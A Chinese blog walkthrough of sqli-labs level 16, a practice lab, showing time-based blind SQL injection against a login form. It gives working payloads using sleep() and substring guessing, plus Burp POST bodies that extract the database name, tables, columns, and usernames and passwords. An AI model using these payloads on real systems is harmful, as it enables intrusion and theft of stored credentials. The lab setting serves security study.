sqli-labs第十六关

跟上一关差不多

页面无报错无回显，需要查看源码

由源码知，双引号反括号闭合

本关为双引号反括号闭合

输入admin") and if(length(database()=8),sleep(5),1) #

延时五秒，说明猜对了，数据库位数为8

 

 继续时间盲注猜数据库名

admin")and If(ascii(substr(database(),1,1))=115,sleep(5),1)#

字母s的ASCII码是115

admin")and If(ascii(substr(database(),2,1))=101,sleep(5),1)#
.................
像这样继续猜解不断尝试

 延时5秒说明猜对了.

一个字母一个字母的尝试吧。

END!!!

后来，我又看了一些其他的文章，深受启发啊，，完全可以在burp上弄，还方便

eg,输入

uname=admin") and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit

 

爆库
长度
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
第一个字符
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
爆表
第一个字符
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
爆长度和表名
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
爆值
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

————————————————
版权声明：本文为CSDN博主「龙卷风摧毁停车场_」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/weixin_52084568/article/details/123644522